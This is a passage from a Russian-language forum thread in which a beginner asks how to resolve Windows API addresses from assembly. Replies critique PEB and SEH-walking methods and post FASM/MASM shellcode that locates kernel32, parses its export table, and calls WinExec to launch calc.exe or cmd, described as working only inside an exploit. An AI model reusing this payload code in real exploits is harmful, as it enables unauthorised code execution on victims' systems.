Киньте люди добрые ) кто нить рабочий код получения адресов 2-3 фунок(на ваш выбор) после получения kernel то есть скажем GetBaseKernel: mov eax,dword ptr FS:[030h] mov eax,dword ptr [eax+0Ch] mov eax,dword ptr [eax+0Ch] mov eax,dword ptr [eax+018h] получаем адрес kernel32 а дальше как адреса функций найти ? Сделайте кто нить копи пасте или накидайте от руки?
abu Не годится. Там может быть системная либа, типо верифера, либо аверская, они любят грузить их при старте процесса. Нужно взять нэйтива вход и через него найти кернил. Типо LdrGetDllHandle("kernel32.dll"). Magnum Никуда не годная статья, вот почему: Способ 1. Не катит, там что угодно может быть в стеке, к примеру тред нэйтивный. 2. NX-seh. Отвалится процесс, ибо вне модуля. 3. ? Использование данных в коде зло. Есчо большее зло использовать строки. Апи должны искаться по их хэшам. За его использование следует отрезать руки. Не имеющий отношения к сабжу список имён.
хеши это уже дело десятое и бы сделал поиск легко ним , да и примеры есть. Просто я запостил здесь именно в этом разделе для новичка потому что новичек) и по той инфе и примерам рабочего ниче не получается. у меня. Поэтому я и прошу накидать или скопировать откуда нить мне на масм32 ... 20 - строк которые без проблем скомпилятся и я буду уже точно видеть как и что там работает ( поиск кернел потом GetProcAddress потом LoadLibrary потом поиск еще любой функи и усе) надеюсь я правильно последовательность действий описал?
думаю не трудно будет перевести мой фасм на ваш масм Код (Text): use32 ;бинарник будет 32-х разрядным start: Getproc: xor ecx,ecx mov cl,stroki ; ecx указывает на текстовую строку 'GetModuleHandleA' mov esi,eax mov esp,eax add esi,ecx push esi mov ebp,esi mov edi,esi xor ecx,ecx mov cl,len xor1: lodsb cmp al,01 jne nextb xor al,01 nextb: stosb loop xor1 xor ebx,ebx ; Обнуляем ebx add ebx,30h mov eax,[fs:ebx] ;берем базу kernelbase в PEB mov eax,[eax+0ch] mov esi,[eax+1ch] lodsd mov eax,[eax+08h] mov edx,eax found_MZ: mov ebx,edx ; Сохраним указатель mov edi,dword [edx+3Ch] ; Адрес PE заголовка add edi,edx ; +Адрес kernel'a push edx ; Сохраним адрес kernel add ebx,[edi+78h] ; Получим адрес таблицы эксп. mov ecx,[ebx+18h] ; Количество указателей mov esi,[ebx+20h] ; Указатель на таблицу указателей имен mov edi,[ebx+24h] ; Указатель на таблицу ординалов add esi,edx ; Адр. таблицы имен в памяти add edi,edx ; Адр. таблицы ординалов в памяти cld add ebp,30 ; ebp указывает на следующую строку Search: ; Ищем функцию GetProcAddress lodsd ; Берем указатель из таблицы указателей add eax,edx xchg esi,eax ; В esi указетль на имя найденной ф-ции xchg edi,ebp ; Указываем на имя нужной нам фунции push ecx ; Кладём ecx в стэк xor ecx,ecx ; Обнуляем ecx add cl,15 ; Размер строки repe cmpsb ; Сравниваем jc restore1 rest2: xchg esi,eax ; Восстановим значение esi pop ecx ; Восстановим кол-во указателей xchg edi,ebp ; Восстановим указатель на ординалы je Found ; Нашли! inc edi ; Нет - пробуем следующую ф-цию inc edi ; Указатель на следующий ординал loop Search jmp Exit restore1: xor esi,esi mov si,61125 sub si,61110 sub esi,ecx ; Восстанавливаем указатель (edi) на sub edi,esi ; Начало строки jmp rest2 ; Found: xor eax,eax ; Обнуляем eax mov ax,word [edi]; Возьмем ординал shl eax,2 ; Умножим на размер ординала mov esi,[ebx+1Ch] ; Указатель на таблицу адресов add esi,edx ; Получим адрес начала таблицы адресов add esi,eax ; И адрес нужной ф-ции lodsd ; Прочитаем add eax,edx ; Добавим адрес kernel'a mov ebx,eax ; адрес GetProcAddress в ebx call eax ;вызываем GetProcAddress получаем адрес функции GetModuleHandleA sub ebp,28 push ebp ; call eax ;вызывае GetModuleHandleA получаем адрес Kernel32 add ebp,28 push ebp push eax call ebx ;вызываем GetProcAddress получаем адрес функции WinExec add ebp,8 push 0 push ebp call eax ;WinExec pop ecx sub ecx,0x200 jmp ecx Exit: ;-------------- stroki db 'GetModuleHandleA',01 db 'Kernel32.dll',01 db 'GetProcAddress',01 db 'WinExec',01 db 'calc.exe',01 len = $-stroki konec: ;-------------- ret sub eax,0xED jmp eax
Да я уже весь форум прошерстил и данный код уже видел тут же де то(я уже нашел все что возможно по теме, все статьи и мессаги). И не смог перевести на масм(
глянул. при компиле ошибки сотни две E:\Program Files\Aleks-soft\ASMTool PE>ML /c /coff temp.asm Assembling: temp.asm error A4910: cannot open file: E:\Program Files\Aleks-soft\ASMTool PE\ml.err Img.asm(4) : error A2006: : PVOID Img.asm(4) : error A2195: Img.asm(4) : error A2006: : PIMAGE_NT_HEADERS Img.asm(7) : error A2006: : PIMAGE_DOS_HEADER Img.asm(7) : error A2158: Img.asm(11) : error A2006: : PIMAGE_NT_HEADERS Img.asm(11) : error A2158: Img.asm(29) : error A2006: : PSTR Img.asm(29) : error A2195: Img.asm(46) : error A2006: : ULONG Img.asm(46) : error A2195: Img.asm(46) : error A2006: : PCHAR Img.asm(65) : error A2006: : PVOID Img.asm(65) : error A2195: Img.asm(65) : error A2006: : ULONG Img.asm(66) : error A2006: : PIMAGE_EXPORT_DIRECTORY Img.asm(66) : error A2195: Img.asm(67) : error A2006: : PIMAGE_NT_HEADERS Img.asm(67) : error A2195: Img.asm(68) : error A2006: : ULONG Img.asm(68) : error A2195: Img.asm(75) : error A2114: : 2 Img.asm(75) : error A2114: : 1 Img.asm(79) : error A2006: : PIMAGE_NT_HEADERS Img.asm(79) : error A2158: Img.asm(84) : error A2006: : PIMAGE_EXPORT_DIRECTORY Img.asm(84) : error A2158: Img.asm(115) : error A2114: : 2 Img.asm(115) : error A2114: : 1 Img.asm(119) : error A2006: : PIMAGE_EXPORT_DIRECTORY Img.asm(119) : error A2158: Img.asm(142) : error A2023: Img.asm(158) : error A2006: : PVOID Img.asm(158) : error A2195: Img.asm(158) : error A2006: : ULONG Img.asm(166) : error A2114: : 5 Img.asm(166) : error A2114: : 3 Img.asm(166) : error A2133: temp.asm(105) : error A2008: : PVOID temp.asm(106) : error A2008: : PVOID temp.asm(107) : error A2008: : PVOID temp.asm(108) : error A2008: : PVOID temp.asm(114) : error A2006: : CHAR temp.asm(114) : error A2195: temp.asm(115) : error A2006: : UNICODE_STRING temp.asm(115) : error A2195: temp.asm(116) : error A2006: : HANDLE temp.asm(116) : error A2195: temp.asm(123) : error A2114: : 3 temp.asm(123) : error A2114: : 2 temp.asm(123) : error A2006: : NULL temp.asm(123) : error A2114: : 1 temp.asm(158) : error A2114: : 3 temp.asm(158) : error A2114: : 2 temp.asm(61) : error A2006: : CONTEXT temp.asm(62) : error A2006: : CONTEXT temp.asm(63) : error A2006: : CONTEXT temp.asm(65) : error A2006: : EXCEPTION_RECORD temp.asm(66) : error A2006: : EXCEPTION_RECORD temp.asm(98) : error A2006: : TEB GET_NT_BASE(1): Macro Called From temp.asm(98): Main Line Code temp.asm(98) : error A2006: : PEB GET_NT_BASE(2): Macro Called From temp.asm(98): Main Line Code итд
Ну немного задефинить нужно, это да. Не поленитесь - это нужно сделать однократно, затем вы всегда будите юзать свои хидеры.
Было бы хорошо что выше на фасм на масме перевести , я там с переменными вобще не в понятках. По идее таким код и должен быть (не использовать изначально никаких dll и api уже в коде все динамически найти и загрузить мне в этом смысл и интерес и 30 строк по теме это было бы идеально) Наверно возьму какой нить подходящий шеллкод и все, там как раз оно должно быть
И в чем проблема то? Вот изначальный код, который я переписал с МАСМА на ФАСМ. Код (Text): ;-------------- .386 .model flat, stdcall extrn ExitProcess:proc .data start: ;---------------[SUPA SHELLCODE]-------- Getproc: mov esi,esp ; esi указывает на вершину стэка xor ecx,ecx ; обнуляем ecx mov cl,169 ; ecx указывает на текстовую строку ; 'WinExec' add esi,ecx ; И esi теперь указывет на 'WinExec' push esi ; Кладём esi в стэк mov ebp,esi ; И ebp теперь указывет на 'WinExec' mov edi,esi ; И edi теперь указывет на 'WinExec' xor ecx,ecx ; Обнуляем ecx mov cl,27 ; И кладём в cl 27 xor1: lodsb ; Загружаем в al байт cmp al,01 ; Проверяем 1 это или нет jne nextb ; Если нет ищем дальше xor al,01 ; Если 1, то обнуляем его и nextb: stosb ; Возвращаем на место loop xor1 ; Таким образом мы восстанавливаем ; Все нужные нам нули xor ebx,ebx ; Обнуляем ebx mov eax, fs:[ebx] ; Указатель на список обработчиков inc eax ; Увеличиваем eax на 1 next_seh: xchg eax, ebx ; Обмениваем содержимое eax c ebx mov eax, [ebx-1] ; Номер текущего обработчика inc eax ; Увеличиваем eax на 1 jnz next_seh ; Является ли он системным (-1)? mov edx, [ebx-1+4] ; Адрес обработчика xchg ax, dx ; Эквивалентно xor dx,dx (eax=0) xor eax,eax ; Обнуляем eax mov ax,1001h ; Помещаем в eax dec ax ; 1000 next_block: cmp word ptr [edx],'ZM' ; Начало? je found_MZ ; ДА! sub edx,eax ; Ищем дальше jmp next_block found_MZ: mov ebx,edx ; Сохраним указатель mov edi,dword ptr [edx+3Ch] ; Адрес PE заголовка add edi,edx ; +Адрес kernel'a cmp word ptr [edi],'EP' ; Проверка на PE jne Exit ; Не равно - выходим push edx ; Сохраним адрес kernel'a add ebx,[edi+78h] ; Получим адрес таблицы эксп. mov ecx,[ebx+18h] ; Количество указателей mov esi,[ebx+20h] ; Указатель на таблицу указателей имен mov edi,[ebx+24h] ; Указатель на таблицу ординалов add esi,edx ; Адр. таблицы имен в памяти add edi,edx ; Адр. таблицы ординалов в памяти cld ; Поиск вперед add ebp,8 ; ebp указывает на следующую строку Search: ; Ищем функцию GetProcAddress lodsd ; Берем указатель из таблицы указателей add eax,edx ; Получаем адрес памяти xchg esi,eax ; В esi указетль на имя найденной ф-ции xchg edi,ebp ; ; Указываем на имя нужной нам фунции push ecx ; Кладём ecx в стэк xor ecx,ecx ; Обнуляем ecx add cl,15 ; Размер строки repe cmpsb ; Сравниваем jc restore1 rest2: xchg esi,eax ; Восстановим значение esi pop ecx ; Восстановим кол-во указателей xchg edi,ebp ; Восстановим указатель на ординалы je Found ; Нашли! inc edi ; Нет - пробуем следующую ф-цию inc edi ; Указатель на следующий ординал loop Search jmp Exit restore1: xor esi,esi ; mov si,61125 ; Помещаем в esi число 15 sub si,61110 ; sub esi,ecx ; Восстанавливаем указатель (edi) на sub edi,esi ; Начало строки jmp rest2 ; Found: xor eax,eax ; Обнуляем eax mov ax,word ptr [edi] ; ; Возьмем ординал shl eax,2 ; Умножим на размер ординала mov esi,[ebx+1Ch] ; Указатель на таблицу адресов add esi,edx ; Получим адрес начала таблицы адресов add esi,eax ; И адрес нужной ф-ции lodsd ; Прочитаем add eax,edx ; Добавим адрес kernel'a call eax ; Получаем адрес функции WinExec push 1 ; Заполняем стэк push ebp ; call eax ; Запускаем "cmd.exe" Exit: ;-------------- db 'WinExec',01 db 'GetProcAddress',01 db 'cmd',01 konec: .code ;-------------- nop ;-------------- end start end ;-------------- Код был взят отсюда Автор человек с ником sl0n. Сравни два кода, отличия в синтаксисе минимальны, поэтому не понятно какие у вас трудности.
Спасибо . Особенно за ссыль. А трудности с этим stroki db 'GetModuleHandleA',01 db 'Kernel32.dll',01 db 'GetProcAddress',01 db 'WinExec',01 db 'calc.exe',01 len = $-stroki konec: и кста надо указать на масм - assume fs:flat; и помимо этого там куча ошибок (намерянно их что ли сделали или автор сам не проверял че у него на выходе получится)
mov esi,esp ; esi указывает на вершину стэка xor ecx,ecx ; обнуляем ecx mov ecx,169h ; ecx указывает на текстовую строку ; 'WinExec' add esi,ecx ; И esi теперь указывет на 'WinExec' push esi ; Кладём esi в стэк mov ebp,esi ; И ebp теперь указывет на 'WinExec' хотя бы здесь esi будет указывать на 0013012D а не на строку или это расчитано конкретно на шеллкод и что он будет в стеке? Поэтому такие адреса - смещения? И если отдельно компилировать это то код сам по себе не рабочий получается , я правильно понимаю? Да , этот код работает только в контексте сплойта... Все понял.